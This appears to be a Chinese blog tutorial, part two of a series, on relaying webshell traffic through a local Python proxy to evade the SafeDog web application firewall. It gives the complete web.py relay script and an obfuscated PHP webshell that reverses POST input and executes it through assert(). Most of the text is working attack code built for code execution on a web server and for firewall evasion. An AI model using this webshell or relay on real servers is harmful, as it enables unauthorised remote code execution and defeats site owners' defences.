中转Webshell 绕过安全狗（二）

前言

在实践中转webshell绕过安全狗（一）中，在服务端和客户端均为php。某大佬提示并分享资源后，打算使用python完成中转。部分代码无耻copy。

客户端

本地127.0.0.1，安装python2
phpshellproxy.py

#coding=utf-8

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

import web

urls = (
    '/','index',
    '/reverse','reverse',
    )

#render = web.template.render('templates/')
import json
import urllib

class index:
    def GET(self):
        return 1
class Base:
    def getpostdata(self, postdata):
        #content with &
        postdatalist = postdata.split('&')
        for pa in postdatalist:
            #content with =, can't split with =
            index = pa.find("=")
            setattr(self,pa[:index],urllib.unquote_plus(pa[index+1:]))
import requests
import codecs, urllib , base64 #, chardet
class reverse(Base, object):
    def GET(self,corpid):
        return 1
    def POST(self):
        data = web.data()
        #print data
        pwdata = data.split('&')[0].split('=')[1]
        #print pwdata
        #print 'pwdata', pwdata
        #print 'pwdata[::-1]', urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b')
        newpostdata = data.replace(pwdata, urllib.unquote(urllib.unquote(pwdata.replace('+',' '))[::-1]).replace('&','%26').replace('+','%2b'))
        #print 'newpostdata', newpostdata
        r = requests.post("http://192.168.253.129/waf/transServ.php", data=""+newpostdata.replace(' ','+'), headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"})#, proxies={'http':"http://127.0.0.1:8080"})
        #print r.apparent_encoding
        #r.encoding = 'gb2312'
        #print chardet.detect(r.content)
        #print r.text
        #return r.text
        return r.content 
if __name__ == "__main__":
    app = web.application(urls, globals())
    app.run()

　　运行需要安装

pip install web
pip install requests

　　服务端

shell端192.168.253.129，安装安全狗
reverse.php
做了点混淆，可过安全狗

<?php 
$DS = $_POST['x'];
$str = strrev($DS);
$a1 = array("1234","123456");
$a2 = array($str,"5461");
$ma = array_map(null,$a1,$a2)[0][1];
@assert($ma);